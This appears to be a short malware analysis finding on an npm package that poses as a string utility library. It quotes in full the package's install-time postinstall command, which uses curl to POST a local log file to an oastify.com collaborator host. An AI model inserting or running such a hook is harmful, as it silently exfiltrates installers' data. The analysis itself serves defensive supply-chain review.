package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d "$(cat /data/logs/monitor-2026-06-16.log)" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. The script reads a file from the installer's filesystem and POSTs its contents over plain HTTP to an attacker-controlled Burp Collaborator (oastify.com) out-of-band interaction subdomain. The package presents itself as a `handy string utility functions` library, but has empty author/homepage/repository fields and includes a malformed `trunls -lae` keyword — the library framing is a cover for the install-time exfiltration. No legitimate string-utility package needs to read system log paths or beacon to oastify.com on install.
